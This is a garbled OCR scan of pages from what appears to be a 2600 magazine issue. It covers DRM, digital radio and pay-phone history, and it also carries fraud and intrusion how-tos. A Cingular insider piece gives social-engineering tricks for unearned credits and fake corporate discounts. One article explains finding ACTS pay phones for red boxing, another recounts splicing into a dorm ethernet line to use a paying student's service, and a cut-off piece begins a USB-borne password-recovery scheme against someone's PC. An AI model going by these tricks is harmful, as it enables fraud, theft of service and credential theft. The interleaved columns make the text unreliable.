It's real comforting to know there are people out I've been in for over 12 years and love it . I've been

tnere thinking these things through. And what a won- statio ned at overseas locations including Engla nd and
zertu! welcome back to society forany of these people Germany. I've had t he opportunity to learn and be men-
iecovetinq fro m their ordeal when they discoversome- tared by some of the brightest people around. I've re-
Me else hasbeen using their identity. ceived all of my education free and had some really

Dear 2600: great times. Not to mention t hat I get a fairly decent
Fi rst let metell you guys howmuch I love your mag- pay checkto buyall the electronictoys I can afford.

~e . It gives me tons of great ideas and stuff to think The Sarge

S p r i n 9 2 D D b - - - - - - - - - - - - - - - - - - - - - - P age 115



R TH£ DI<'M PLAH
by Don to not e th ese permissions because th ey can

The figh t over t he broadcast flag isn't over de- change.
spite the rece nt court ruling. We're sti ll being Let 's look at t he iTunes Terms of Service (I DS).
locked out of our hardware and media by Digital Not to pick on Apple, but they're the biggest
Righ ts Ma nagement (DRM) and t he shifti ng ideol- player and set th e stan dards for how online music
ogy over how we use t he media and equipment we stores wiLLoperate. According to AppLe's "Usage
buy. The tech nica l and legal means are discusse d Rules" (http://www.apple.comj supportjit unesj
in MichaeLSims's speech on DRM and the EFF' s -Legalfterms.html) you may have copies of the
speeches on Hackers and the Law from The Fift h file on "five Apple-auth or ized devices at any ti me"
HOPE. The speeches are archived online and well and "burn a playlist up to seven ti mes." It doesn't
worth downLoading. I'm going to focus on an as- specify how often you may burn an individual file,
pect of DRM they didn't ta lk about specifically but it does say "Any burning or exporting capabil-
how will DRM change t he way we use music and ities are solely an accommodation to you." Of
why does the music industry love digita l audio course it also has the sta ndard TQS legalese and
files? informs you t hat App Le may change the lOS at any

Contrary to vociferous protestations of t he time without warning and you are as bound to
RIAA, the major labels love digit al audio files. the m as you are to th e original one you clicked
They conceived of t hem years ago under th e rubric t hrough. In "t he event t hat Apple changes any
of th e "Celestia l Ju kebox." It would have worked part of t he Service or disconti nues t he Service,
much like P2P does today - you t hink of a song, which Apple may do at its election, you acknowl-
hop on t he network, and enjoy. Tunes shipped di- edge t hat you may no longer be able to use Prod-
rectLy to your stereo for a small fee, not unlike th e ucts to the same exte nt as prior to such change or
onLine music stores of today. Note t hough t hat it discontinuation, and that Apple shall have no lia-
wasn't a "music box," it was a "j ukebox." You 'd biLitytoyou in such case."
have to pay every time you played a song. And you So you, as a person who paid to use t hese
couLdn 't transfer it off t he box to anot her system. t racks in a non-infringing way get screwed if Apple
If you wanted to listen in your car or while jogging changes its mind over how its service operates or
or at a friend's you'd have to buy the song again. changes the service at t he behest of t he music in-
Yo u'd pay every time you played. dust ry. These changes happen auto matically and

This didn't happen but it doesn't mean the in- affect all t he DRMt racks you have. You sync your
dust ry has given up on th e concept. The J ukebox digita l audio device with your computer to t rans-
would have required a robust broadband and WiFi fer songs. The program used to sync is always up-
infrast ructure to work - something t hat didn't dating itself every time you go online.
emerge unti l P2P had aLready broken out and in- I've gone a long way to say what we all know.
deed may never have developed unless P2P came Yes, the re are ways around DRMand th ere always
along. Instead of th e CelestiaLJu kebox we have will be. The problemt hough is not t hat there won't
iTu nes and DRM. be a way around it when it hits but rat her that

The price of an album from an online music we'll acquiesce t o it because breaking the DRMwill
store is generally comparable to t he price of a CD be more work than just going along, if it can be
($10-ish per disc. If you're paying more t han $12- broken at aLL. Also, drawing on Michael Sims,
$13 per CD, you're shopping at t he wrong stor es. t hey're going to try to make DRM a hardware issue,
Also , this refers to th e "general" price of albums not a software issue. So cracking th e DRM will in-
onLine. Some reLeases have already been priced volve eithe r hacking your equipment the way
much higher at online music stores, costing as phreakers used to do or by running a crack on
much as they wouLd at the mall and th is wilt be- every media file you ever want to play ever again.
come th e norm as the online stores become t he Yes, it 's beatable, but a lot of people will pay th e
dominant means for peopLe to get music). There ext ra 1-2-5-10 dollars to not endure having to
are major differences in t he CDs and digita l music beat it.
files beyond packaging. A CDfrom t he sto re has This is an issue t hat 's already coming up. There
no controls built into it. You can play it anywh ere, are only two ways to liste n t o a digital music file -
make as many copies as you like, and even sell it . eithe r with a player (iPod, computer, etc.) or by
DRM-enabled files can only be played on devices burning it to a CD . Some cars are now being
t hat have permission to play them. It 's importa nt equipped with DVD players. DVDplayers won't play
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one out of our culture. turning it from something
we collectively create by deciding what we use,
keep, and build upon into something t he industry
decides based on what's maki ng t he biggest profit
at any given moment.

And that'll be it . We'll all be stuck buyi ng DRM­
protected tracks for our DRM-enabled players, re­
buying files for broader use or every time a file is
corrupted or Lost. And P2P won't be spared either.
DRM wi LL bLock new material frombeing ripped and
ripped material from being played so t he resource
pool t hat fuels P2P wi LLdry up.

There are also questions of Fair Use being im­
pinged - people being prevented from making mu­
sic at home or ORM being appended to files you
rightfully have and then being unabLe to play (for
instance, public domain or Creative Commons-Li­
censed t racks suddenly having limits applied for
transfer and copying) but that gets into Fair Use
rights which is a different discussion. Those prob­
Lems all arise from ORM being the default and are
more fully discussed in the books cited at the end
ofthis piece. Where I want to go is towards solu­
tions.

The first ste p is to cut DRMoff at the source:
Congress. Write, don't email. write your represen­
tatives lett ers outlining your opposition to gov­
ernment-mandated ORMin aLL its forms whether it
be the broadcast flag or the OMCA. Remember
when writing themthat OR Mis anti-copyright and
unconstitutionaL It prevents media from ever en­
tering the public domain which goes against the
U.5.'s definition of copyright. Also. support the
EFF and pay att ention when votes on these issues
come up. Contact your representative whenever
they do and write lett ers to the editor. Don't sur­
render to cynicism.

Th e second ste p is to not use DRM files and de­
vices. Encode all your music into the open-source
Ogg Vo rbis and FlAC form ats and only buy players
that let you use these file types. They aren't going
to vanish and devices that play them aren't going
to regress to lockthemout. Don'tuse online music
stores. They'll aU have - and aLways wiLL have ­
DRM.

But where should you get the music that you
encode into Ogg/ FlAC? From CDs you buy. That's
t he third step. Buy musicyou want, Like, or are cu­
rious about on CD. The record companies will keep
manufacturing CDs as tong as they're making
money (and once t hey stop, they won't get your
mon ey) and hardware ma nufacturers won't stop
making CD players untiL people aren't using them
anymore. They also won't make CO players that
refuse to pLay pre-ORM discs. Instead manufactur­
ers will make your compute r refuse to play pre­
ORMfiles forcing you to use your ste reo to play
CDs just like you have to do with tapes and
records.

There is another reason to buy CDs. It's not a

CD-Rs unless the Laser is specially designed, which
:ney generally aren't. So with no major adjust­
ments, cars are nowlocking out homemade media.'0copies. no mixes, and no aLbums that you
cownloaded from the Internet. The technology
that's needed to lock us out of our media is less
complex than we imagine.

Also, the DRMdefault wi ll be to deny copying
. nless the track dearly stat es you may. That
makes sense from the industry's point of view ­
JOu can't copy without special permission. How­
ever, when we say "copy," t he industry is t hinking
"otay." The default setting for playing a track wilL
:e to block you from playing t he track you paid
:or. Why not make t he permission automatically
ettowyou to play t he track? If t he default permis­
sion is set to allowyou to play t he media then you
...on't have problems with corrupted tracks being
clocked, Nor would prej non-D RM tracks be
: locked. That 's why "play" wouLd equal "no" by de­
-autt.

The music industry hasn't given up on the Ce­
.estial Jukebox. They want you to buy a copy of
:very track you want every time you play it . They
can't do this with CDs - permanent collections of
non-DRMmedia files. CDs are physical - you can do
wh atever you want with one once it 's in your
-ands. That goes against the industry's current
icecloqy. PLus there's always the profit motive.
"ne CDis the last expense of t he record compa­
-ies.

When a band signs with a major label. they get
: ;1 advance against royalties on future sales. From
t-i s advance t he band pays for t he recording and
: roduction of t he album, any videos and promo­
cons, and t he tour. Thelabel provides seed money
and then pays to print t he CDs. Without the need
:J press CDs (when the LabeL just takes the master
tap es the band paid for and uploads them to
'-unes), t he label's only job becomes recouping a
- Inor investment and getti ng paid.

"But wait," digital utopians willsay, "the artist
ca n do that as well. They can record at home and
x.l t heir tracks directly th rough ilunes." No , they
ca n't. The labels are maintaining their old role as
; .=: ekeepers, bLocking acts from radio, television,
a-i d online music stores. The digital music services
: 'en't dealing with bands, they're dealing wit h
:::mpanies. There's no money in deaLing with
:-:i sts on a one-on-one basis. No one has the
r me. resources, or inclination to do t hat.

So t he music industry wants to eliminate the
:J so YOU'll re-buy every song you liked, and every
- ?N song you'lLbuy wi ll mean pure profit. They'lL
_5~ DRM-hardwired equipment to Look for the pLay
ce rmission. Any CD lacking that (i.e.. every CD
.,. ~r) won't play. Nor will any of your old files or
? • files from groups outside the industry that
-a-en't bought access to the DRMcodes. The mu­
sic industry will be able to completeLy lock every-
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technical one, it 's an ideological one. Whe n you
hop on a P2P network or an online music store you
grab the track you want and then maybe the rest
of t he album. Or, if you grab t he enti re album, you
cull t he tracks you don't want at the moment and
delete t hem. You can do t his with a CD as well,
putti ng all your favorite tracks on a mixCD or
putting t hem on repeat, but the rest of the album
isn't lost. When you ditch t he album for t he single
you rob yourself of those times when you pullo ut
an old album and let it play past t he one song you
liked, when you hear t he next track and under­
stand it in a way you didn't before, when you hear
a song at a party and then later find you had it
yourself, taking you back to that moment. When
you accept onLy taking t he tracks from the mo­
ment and scuttling t he rest - a lauded advantage
of P2P - you are robbing yourseLf of the opportu­
nity to rediscover music, your music. You are in ~

stead buying into an ideology of music not as art
or even culture but as product, as somet hing dis­
posable. That's the music industry's ideology.
Do n't let it be yours.

Support the artist, support local ret ailers. and
buy t he CD. Keep music an issue of cont rol. not
permissions, of CDs , not DR M.

Backgrou nd information for t his piece came
from:
• Michael Sims's and the EFF's speeches at
http://www.the-fifth-hope .org/
• Negativland's "Shiny, Alumi num, Plastic, and
Digital" and Steve Albini's "The Problem with Music"
at htt p://www.negativland.com/ int prop.html
• Lawrence Lessig - Free Culture
• Kembrew McLeod - Freedom of Expression®
• Siva Vai dhya nathan - Copyrights andCopywrongs
and The Anarchist in the Library

by The iNSiDER
What is really going on with Ci ngular Wireless

and the former AT&T Wireless? I current ly workat
Cingular and t hought I would share some secrets
from the most evil cell phone company on the
planet .

First of all we just rolled out new plans that
cap your rollover banking so you can only sto re
up to your plan's maxim umamount of minutes in­
stead of unlimited. That doesn't really matter
though because Cingular hopes you will use most
of your minutes with nights and weekends, and
mobile to mobile. Hopefullyyour minutes will ex­
pire at t he end of a year.

We have t housands of bad versions of the
quad band Motorola v551 floating around. In
fact, our former AT&T Wireless v551s workfine on
the network, but instead of being honest Ci ngu­
lar keeps giving out t hese v551s with shitty re­
ception under a no refunds policy. We are not
allowed to t ell customers because thi s would cost
t he company heavily, one upper management
person said.

We love giving out a month here and there of
unlimited time. We t hrive off those promos. Th is
is an industry trick t hat gets the (sucker) cus­
tomer to get used to using a lot of min utes for
when the promo runs out.

A good way to get free shit out of Ci ngular is
by gaming. We have t he power to give you credits

and send you free st uff and also top up your
time. Yo u just have to social engineer it into your
pocket. This art is called gaming. If you call our
reps enough times you can get it . Just make sure
you make different inquiries so t he 50 percent of
reps who checkth e "memos" on t he account don't
see a patt ern.

We get in trouble for using technical lingo.
For example, the word "TOMA" is not allowed. We
have to say "digital technology" even t hough GSM
is digital aLso.

Our former AT&T Wireless service is better
t hen our current service and it always will be.

We have a litt le meter on everyone's account
called a "CHURNindicator." This willt ell us when
you call if you want to quit Cingular.

We use twosystemsto ta ke our calls: Ca re and
Teleqance, two shitty programs made in Visual
Basic and they crash all t he time. We rely on a
very shitty syste m for information wh en you calt
t hat is named CSP. Alt Ci ngular stores have access
to t his too. We hate ta king calls from Ci ngular
stores. Those people t hink they are so great, but
reallyall t he bosses and upper level management
in our call centers and corporation think the peo­
pLe who selLphones in the store are litt le bitches
on a power trip, and we laugh behind t heir backs
and telLt hem to fuck off all t he time.

We can make data changes, reset your pass­
word, and check to see if everything is provi-
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stoned correctly in a java program called
Snooper. If our systems ever crash while you are
on t he phone with us we can't tell you because
Cingular says that will make t he customer lose
"':lith in our company. We crash all the time.

Also, Cingular is releasing push to ta lk tech­
-ology because they are scared of being knocked
Jut of the market by everyone else while Verizon
actually has a bett er push to tal k system even by
cur own flowcharts.

If you ever th reaten to leave us if we don't
;ive you something, most of the time we can give
:..: to you, including credits. By order we have to
save you from paying your early termination fee
:J go to another company, so when you want to
:meaten us, ask what the fee for your nETF" is.

Acommon trick to get free time and credits at
CinguLar or the former AT&T Wi reless (usually the
same reps) is to say you have a lot of dropped
GUs. You canjust say everywhere you go t he calls
are dropping off. Most of the time you can get
:00 free anytime minutes or more, depending on
now nicely you word it. If a rep ever te lls you that
taey are getting permission to add a credit from
th eir manager, t hey are simply putti ng you on
nold for a few minutes to pretend to do tha t to
neqotiate you down on your bill more. This is a
:rick t hat is taught to all reps in Cingular t rain­
ing.

Vo u can always get a discount on your account
Jy calling up and saying you have a "FAN" number
cut you lost it. A FAN number is a foundation ac­
count number. It belongs to a business. General

Electric has t he biggest FAN account with compa­
nies like Universal Studios under it, but the U.S.
Post al Service gets a nice 25 percent off t heir bilL
at a time. Just find some number that is discon­
nected and te ll t hemit's your HR department and
that you work for a big company and t hey wiLL at­
tach their discounts to your account. Remember
you will also be entitled to two free phone up­
grades a year which can get you really cheap de­
vices and more.

Also, if you want Roadside Assistance , aLways
remember you get it two months free every time
it is added to your account. So get it for two
months at a time, cancel it, then ask for it again
the same daywith a different rep. It wiLL work Like
a charm so you always get it for free.

The cell phone companyis a greedy slimy gi­
ant corporation t hat wants to fuckyou over. Why
not get your own piece of t he pie and fuck them
too? Afew things to say to the reps while you're
talking to them to mess with their heads: "Are
you a blue rep or an orange rep?" "Have you
called t he res or tech department today to see if
all my features are provisioned correctly on t his
account?" "How often do you call res desk for
heLp?" "What's your average hold time? Do you sit
in ACWa lot?" "I hope your save team can stop me
from paying my ElF."

Since writing t his article I quit a couple of
days ago. So fuck Cingular Wireless and t he for­
mer AT&TWireless. I am too cool to go back.

news and perspective, while AM/ FM broadcast
bands keep us up to date with local events. Any­
one can take a receiver, be it made in the last
mont h or left over from t he days of vacuum
tubes, and tune into any number of locaLor in­
te rnational stations packed wit h news, enter­
t ainment , and of course, propaganda. Vou
choose what you want to hear, and it 's all avail­
able for free.

But the days of t he average person listening
to international shortwave broadcasts are
quickly passing, causing stations such as the
BBC World Service to cease the ir broadcasts to

The past century has seen many changes in
-ne way radio content is delivered. Outside of
amateur radio, the dits and dahs of morse code
10 longer fill the airwaves, FMbroadcasting lis­
-enersbip far outweighs the number ofthose still
-uninq into t he AM(MW) bands, satellite radio is
aecominq a standard feature in cars, and "pod­
cestinq' seems to be the new buzzword amongst
the youth . Most of the changes have been posi­
-ive, expanding the medium and improving its
overall quality, while others threaten the very
-ature of radio itself. Shortwave broadcasts have
always been an excellent source of international
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North America, yet millions are wi lling to pay for
a subscription to satellite radio. Frequencies now
broadcasting analog te levision signals will be­
come silent in just a fewyears, and in their place
willbe private content. owned and controlled by
the highest bidder. New proprietary digital mod­
ulation schemes on our broadcast bands
threaten to quickly antiquate billions of radios,
as well as our freedom to choose what we listen
to. Licensing on new modulation schemes pre­
vents hobbyists from writing their own software
to demodulate signals that were previouslycom­
plete ly open. Where is all of this leading? Into
the hands of private enterprise, it seems. Whi le
corporations have always had some control over
the content on our airwaves, we now seem to be
much more willing to give up the medium than
ever before.

In 2001and 2002, the radio industry sawtwo
new players: XM and Sirius.These companies, af­
te r paying nearly $80 million each to the FCCfor
frequencyallocation in the 2.3GHz band, became
the first two commercial satellite radio providers
in the United States. In just a few years, bot h
companies saw exponential growth, with mil­
lions of new customers subscribing to their ser­
vice in later years. It's not cheap, either. The
current $12.95 a mont h plus setup fees is a far
cry from the free local broadcast radio we're all
used to tuning into on our way home from work.
But where else can you turn to get high quality
commercial-free content that follows you around
on those cross-country trips?

Well. at least one of those claims is t rue.
Let's first ta ke a lookat some of the technol­

ogy behind satellit e radio. Both providers live in
the microwave S-band: Sirius from 2.320G Hz to
2.3325G Hz and XM from 2.3325G Hz to
2.3450G Hz, with 12.5M Hz of bandwidth each.
According to Chriss Scherer's article "The Final
Countdown for Satellite Ra d10" in Radio Times,
the total data throughput is 3.28Mbps. Analysis
with the Shannon-Hartley theorem shows that
this is a fairly conservative data rate, allowing
for reception of signals that are weaker tha n the
background noise level (as is common with
spread spectrum modulation schemes). This al­
lows for decent reception in noisy or weak signal
areas, but is also a very crippling bandwidth lim­
itation for the providers. 3.28Mbps isn't much,
and with modern encoding algorith ms requiring
at least 64Kbpsjchannel (or slightly less for tal k)
to reproduce acceptable sounding music, t hey're
quite limited in the number of channels that
they can offer - unless th ey decrease the band­
width used by each and, along with it, audio
quality. Sirius promises over 125 channels while

XM promises 160. But how? At 64Kbps, they
should only be able to fit 50 or so channels not
counting any additional overhead. So they obvi­
ouslydecrease the bandwidth consumption even
more to cramin that manychannels, resulting in
audio quality that can no longer compare to
what's offered by local FM broadcast sta tions.
And people are payingfor it !

Well, t hat's fine. They're not interfering with
the conventional broadcast bands, people seem
to like it, and it's up to the consumer to sub­
scribe anyway. So where's the harm? My concern
stems from their success. We no longer seem to
care about the fidelity of what we Listen to and
while many would claim that this is unfounded
and that sate llite radio "sounds just fine," con­
sider, for a moment, cellular phones. little more
than a decade ago, nearly all cellular telephones
used the AMPS protocol. which was little more
than some digital signaling on top of a purely
analog voice channel. We're talking about real
narrow bandwidth analog FM here - high quality
stuff. The voice quality was more limited by the
telephone network's codecs t han by the wireless
modulation scheme and the calls sounded great.
As more and more people began using the cellu­
lar networks, more efficient use of the spectrum
was necessary to keep up with the call volume.
As the years progressed, new digital standards
(l OMA, COMA, GSM, etc.) were introduced, giv­
ing providers a wayto limit the bandwidth used
by each channel. More time went by and
providers began doing everything they possibly
could to increase the capacity of their cell sites ,
limiting bandwidth as muchas possible and leav­
ing us with what we have today: little more than
barely intelligible shitty sounding audio. And
you can't argue with that!

While satellite radio is really its own beast,
new digital modulation methods are being
tested on our conventional broadcast bands as
well. Agood example of this is DRM (Digital Ra­
dio Mondiale), which is an open standard for
broadcasting data in low bandwidth conditions
using in-band on-channel (IBOC) technology.
Developed for cheap and easy implementation,
DRM can be utilized with preexisting t ransmit­
ters and receivers, requiring only minor modifi­
cation. Although it can be used on any of the AM
bands, it is now most commonty found in the
shortwave bands. DRM promises to increase the
audio quality of these low bandwidth AM broad­
casts, although a DRM capable receiver (or a
modified conventional receiver with software de­
coding) is required. It allows for a choice of
three MPEG-4 audio ccdecs, depending on con­
tent type: HE-AAC for higher-quality audio and
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+: El P or HVXC for low bit rate voice-only audio.
i) RMcan operate within the standa rd frequency
allocations (t.e.. the 10kHz channels which are
already assigned) in either a hybrid mode
IAM+DRM) or DRM-only mode, and allows for
-n ultiple digital channels to be present. It can
even be used with a bandwidth of 20kH z for
'riqher quality audio or channel multip lexing but
-equires two adjacent channels to be allocated to
t ne station, someth ing many broadcasters do
- iot have available. Bit rates for single channel
10kHz) operation range from 8Kbps to 20Kbps,

and up to 72Kbps if more bandwidth is used.
ORMcan be considered a ste p forward for t he

shortwave listening community, which is often
olaqued with fading as well as manmade and at­
-tospheric noise. Good ORMdecoders can often
overcome these issues, resulting in clear, static­
't ee audio. The meta-data included in ORM
orcadcasts can also help identify t he station and
content, a feature that's extremely useful when
:uning around the enormous realm of the short­
~ave bands. There have already been many radio
aobbyists who have posted instructions for mod­
i=yi ng popular shortwave receivers for use with
software decoders (both open source and com­
mercial] which utilize a PC and a sound card, al­
.ow inq for extremely low cost DR Mreception. As
mere and more stations begin implementing
DRM, my hope is t hat it will breat he more life
into t he overall inte rest in these fascinating
aands.

Not all of the new digital methods, however,
nave t hese benefits . Many comm erciaLstations
io t he FM broadcast band are now touting the
onrase "...now broadcasting in high-definition
HDRa dio!" Despite being completely inaccurat e,
not much detail about the technology is being
presented by the stations, leaving customers
nuzzled about what it all actually means. In fact,

D Radio actually stands for Hybrid Digital Ra­
ole. anot her IBOC digital encoding met hod de­
veloped by iBiquity and approved by the FCCfor
use in 2002. But unlike DRM, HDRadio is propri­
etary, t hus t hird parties wishing to integrate the
-echnoloqy into a receiver must pay Licensing
-ees to t he company. Although it seems t hat
most stations are still in a "testing" phase, hid­
cen dangers exist if the standard catches on. For
r -ow, HD Radio operates on t he sub-carriers of
=Mstatio ns - that is, beyond the bandwidth re­
-uired for t he L+R (monaural) baseband signal
(0 - 15kHz). usually just above the L-R (stereo)
signaL(23 - 53kHz) and RBOS (Radio Broadcast
Data System - 57kHz) sub-carrier. That's already
E: lot being jammed into the 200kHz bandwidth
allocation and, according to Carson's Ru le, all

that "stuff ' wit h a 75kHz deviation is already ex­
ceeding the limit. HD Radio promises to extend
t he used bandwidth to almost 400kHz and can
end up causing some serious inte rference prob­
lems, even t hough most areas have stations
spaced at least two channels (400kHz) apart. Re­
ceiving those distant FM sta tions stuck in be­
tween t he locals will quickly become a thing of
the past .

All of this, again, does not help audio quality.
FM broadcasting in itself is an ext remeLy high
quality means of transmittin g audio, t he pass­
band being from 50Hz to 15kHz, an enormous
chunk of t he audible frequency range. In fact,
many peopLe cannot even hear much past 15kHz,
Let atone beLow 50Hz. High quality receivers can
reproduce extremely good audio in st rong signal
areas without the need for any type of digit al
modulation. As we've seen with other forms of
digital modulation, stations wishing to add more
"channels" to their broadcasts wilL decrease t he
bit rate available to each, leaving us with more
crappyaudio. iBiquity's hold on their proprietary
technology is also a huge danger to us, t he hob­
byists . We can't easily investigate t he quality of
the ir encoding or impLement our own met hod of
decoding witho ut legal ramifications. While we
have free range to tinker with open standards
such as DRM, our hands are tied when it comes to
HDRadio. Wo rse, if t he st andard sticks, sta tions
will begin using more and more bandwidth for
the digitat modulation until t he entire broadcast
is in proprietary HD Radio format by first remov­
ing t he stereo separation data, t hen the entire
analog signaL Leaving no fallback and billions of
antiquated radios.

CLea rLy, t his is t he wrong pat h for us. The im­
port ance of open standards is rarely ever under­
stood in the corporate community, yet
hobbyists, those who develop much of t he tech­
nology in use by the corporate world, have al­
ways seen the need for t hem. Historically,
demand for competition has sorted t his out , but
in an age when monopolies seem to be sprouting
up in aLL sorts of niche markets, I'm afraid of
what might possibly happen if it doesn't . I've
covered only a few of the new concerns in radio.
but the re's so much moreout there: t he t hreat of
"rights management" on top of digita l radio,
BPL's (Broadband over Power Lines) interference
to our shortwave bands, the sale of portions of
our broadcast spectrum to private enterprise,
and more. We've fought similar battl es before.
This is yet anot her that needs our att ention .
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Not Quite Dead Yet
I I

- The Current State of Pay Phones. ACTS,
and Red Boxing in the United states, '

by BLack Ratchet by humans. Operators still had to controL (Ol~
bLackratchet@blackratchet.org lect, coin ret urn, and call set up f~n cti o n s. .

Every time someone asks "(an I still red box?" This changed in 1978 with the introduction of
t he constant murmur of th e pea nut gallery echoes "Automatic Coin Toll Service."
in reply"Oh! Red boxingis dead! You can't do that ACTS allowed t he network to automatically (0[-

anymore!" Appa rently because AT&T shut down leet coins for Long distance by listening for cal
their ACTS links. everyone thinks that every other tones from t he pay phone . ACTS addressed theis-'
pho ne company did too. Au contraire. sue of "talkability" by making t he coin to nes multi-

Now for those of you thinking "Red boxing? frequency, that is, overlaying 1700Hz on top of the
ACTS? AT&T? Phones?" let's sit down and explain. 2200Hz signal. People cannot make an MF tone by

In the beginning, Ma Bell created the pay talking, t hus ensuring that people would not get a
phone, and to. she smiled and said it was good. free ride.
The first coin phones for the Bell System were This was considered foolproof. Riiiiiight.. ..
manufactured by the Gray Telephone Pay Statio n Phreaks and pholks quicklyfigured out the new
company in 1898. From 1898 up unti l the 1970s in system and the era of "red boxin g" in the 1980s
some places, it was impossible to dial your own began in earnest . People found they could easily
long dista nce calls without the assistan ce of an fool the new system by playing tapes of coins into
operator first. The original pay phones produced the handset or rewiring Radio Shack tone dialers.
by Gray - and after Gray's patents expired, the Bell A toll fraud arms race Quickly developed between
System - were referred to in the vernacular as the phone companies and the fraudsters. The
"three slot" pay phones. They had separate slots phone company would find out a way of stopping a
for nickels, dimes, and quart ers. When you placed certain technique and people would find a way to
a long distance call. you first dialed the operator work around the restriction. People would red box
and gave her the number. Then she would askyou free phone calls across t he United States "lith
to deposit the amount of the initial rate into the abandon.
phone. When you did, the coins would activate This continued up until mid-2001 when AT&T
mechanical bells in t he pay phone: one ding for a pulled the nuclear option. Citing declining rev-
nickel, two dings for a dime, and a resounding enues and massive overhead, AT&T petitioned the
gong for a quarter. After hearing the right amount FCCto shut down its nationwide ACTS system. In
of bells, the operator would put your call through. mid-to-late 2002, the cord was pulled and the
This system had numerous drawbacks: namely, the fraudsters cried out into t he night. People gave up
operator needed to be on the line when the coins on their red boxes and put them into the trash to
were deposited, and the operato r could be fooled join the blue boxes already at the dump. The end,
bysomething as a simple as a tape recording. right?

Around the mid 1960s. the three slot pay No.
phones started getting phased out and the Bell While nationwide ACTS has been discontinued
System st arted phasing in newer "single slot" pay by AT&T, everyone seems to have forgott en that
phones. These, as the name leads you to believe, ACTS as a system is still in use by othe r phone
had one slot, and instead of bells, they used a sin- com panies. Verizon, AT&T (formerly SBC), and
gle frequency tone of 2200Hz when coins were de- Owest all still have ACTS systems active wit hin the
posited: one puLse for a nickel. two for a dime, and United States. Th e catch? They are only used for
five for a quarter. However, as 2200Hz was "talka- local toll calls. (By the way: BellSout h customers?
ble," as in you can "inadvertently" make a 2200Hz You lose. BelLSout h removed the whole coin phone
tone with your voice, an automated system could kit and kaboodle around 2001 or so.)
not be used to dete rmine if you deposited coins. What is "local toll" you ask? WelLin 1984 after
Ma Bell did not want someone with a high squeaky the Bell System breakup, t he Bell System was bro-
voice accidentally getting free time on his or her ken up into smaller local telephone companies,
phone call! Since there was no automated system, white AT&T was given the Long Distan ce portion of
long distance phone calls still had to be handled the network. Now. what was stopping the smaller
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companies from carrying t heir own long dista nce
calls between areas they cover? The agreement
: ictated that the United States was to be broken
_:J into "Local Access Transport Areas ," otherwise
cnown as LATAs. The agreement stated t hat the lo­
:::t telephone companies could carry their own
traffic for calls wit hin a LATA, but if it wasbetween
_A.TAs they needed to hand it over to a Long Dis­
-ance provider, such as AT&T.

What does that have to do with red boxing?
ell, sayI am in Boston, which is within LATA128.

"nat means 1 can call within eastern Massachu­
'>'2:5 and still have the phone call go exclusively
_ -er Verizon New England's equipment. However,
;':1call to Western Massachusetts , New Hampshire,
: " Rhode Island, while still within Verizon's cover­
:;e area, it needs to go over a long distance ser­
ice. The upside for this is that for intra-LATA

telephone calls, Verizon thankfully uses an ACTS
system allowing me to enjoy the sweet sound of a
telephone network handling my coin control.
:-:her less scrupulous people can also abuse this
systemwitha red box.

There are a couple of caveats to this: You are
nlikely to find an ACTS controlled pay phone that

~5 act owned by your Local Exchange Carrier (LEC:
erizon, AT&T(formerly SBC) , or Owest depending

cn where you are in the U.S.), and LECs are also
-ovinq away from ACTS for the same reason AT&T
;-: :i, so it's slowly disappearing. The best way to
';;;,d an ACTS phone is to look for an old Bell pay
: l one owned byyour LEe. The next step is to dial
a number that is outside your localcalling area but
- r side your LATA, and then wait to see what hap­
tens. If the voice asking you to deposit money
sounds more like a recording t hen a synt hesized
computer voice, you have a shot . Flash the hook,

and if an operator comes on asking you for money,
congrats. You are likely on an ACTS system.

Now, a minorrant : Yo u'll note t hat I referred to
red boxi ng repeatedly as "fraud" and the users as
"ftaudsters." Why. you ask? Because they are.
Phone phreaking is not about getting free phone
calls, it's about understa nding how the phone sys­
te mworks. Phone phreaks don't do toll fraud, and
people t hat do are t he same kind of people that
break into computer systems and caLL t hemselves
hackers. I do not condone toll fraud in any way,
shape, or form, and I'm only presenting t his info
to once and for aLL stop the misinformation given
when people ask "Hey, does red boxing still work?"

For those of you who are unlucky enough to
not have access to an ACTS pay phone or are just
interested in Listening to what a norma l ACTS
phone cell sounds like, I willhumbly plug both my
own website at www.bLackratchet.org and Strom
Carlson's website at www.stro mca rLson.com. Bot h
contain recordings of ACTS calls in action. among
other recording of telephonic goodness. Also, to
hear the oLder style "three slot- pay phones, I
hearti ly recommend www. phonetrips.com. If coin
phones are your thing, I again humbly recommend
checking out my own project, Yet Another Pay­
phone List at www.yapL. org, ElJefe's Payphcne Di­
rectory at www. payphone-directory.org, the
Payphone Project at www.payphone-prcject.com,
or finally, t he ever interesting www.phones
....warm.com.

Shouts to The Digital DawgPound, Strom Carl­
son, Evan Doorbell, Bill from New York, The Mark
Bernay Society, Boston 2600, and all the phreaks
and pholks at the Binary Revolution Forums
(www.binrev.com/fo rums). The Revolution Will Be
Digitized!

bygraphak
This is for informational purposes only. I don't

-ecommend trying it.
While atten ding a well known and respected

_niversity in t he U.S., I was naturally wondering
scout t he Internet service in the dorms" Inside of

_ dorm's closet, I discovered a panel in t he waLL
-nat came off after removing a few screws. I
sta red in disbelief at the number of possibilities
t - a; potentially awaited. I could see water pipes
com plete wit h nozzles, television cables, and,

best of all, the ethernet cables that ran to the
rooms above myfloor. The dormthat I wasin was
old but still functioning. It was not due for a ren­
ovation quite yet, mostly because of money grub­
bing university presidential behavior.

For every floor there were about ten rooms
which were supposed to house four people each.
That means t hat there were 40 ethernet jacks per
floor. The cables ran up the same hole from the
bottom floor to the top, so if I was on the top
floor I'd probably only see four cables in t he "se-
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cret" (what a joke) closet panel. If I was on the
botto m floor ofthe ten story building, I'd see 40
ethernet cables running through my closet! I de­
cided to change rooms and move closer to the
ground.

Immediate ly afte r relocation, I took off the
paneL in the closet and found an abundance of
cables. I decided to splice my ethernet cable into
one of them. (This non-factory wiring job cost a
very smallamount of speed since CAT-5 cables are
twisted in a certain manner to deliver best per­
formance.)

My university had a system where individual
roommates would pay for their own net service,
so it was just a matt er of time before I spliced
into a cable t hat had been activated and was be­
ing paid for. I t hen had no choice but to share
the bandwidth with them, but it caused very few
if any problems. For one, it was a T-3 backbone
t.e.. very fast, and two, most colLege kids use the
Internet for viewing pages that are not very
bandwidth intensive.

I did this for two academic years without rais­
ing an eyebrow. In my thi rd year I Lucked out and

by Rob
"My iPod's dying. Mind if I pLug it into your PC

for a second to charge up?" With those simple
words, you can have some serious fun. You need
only two things: an mp3 player that functions as
a USB device and a little knowledge of a scripting
language. I use AutoIt .

Here's what to do: Grab a couple of programs
from rri rsoft .net . These were reviewed in 2600
earlier this year. The ones I use are:

MessenPass (http :/ /www.nirsoft.net/utils/
-mspass.html) - Recovers the passwords of in­
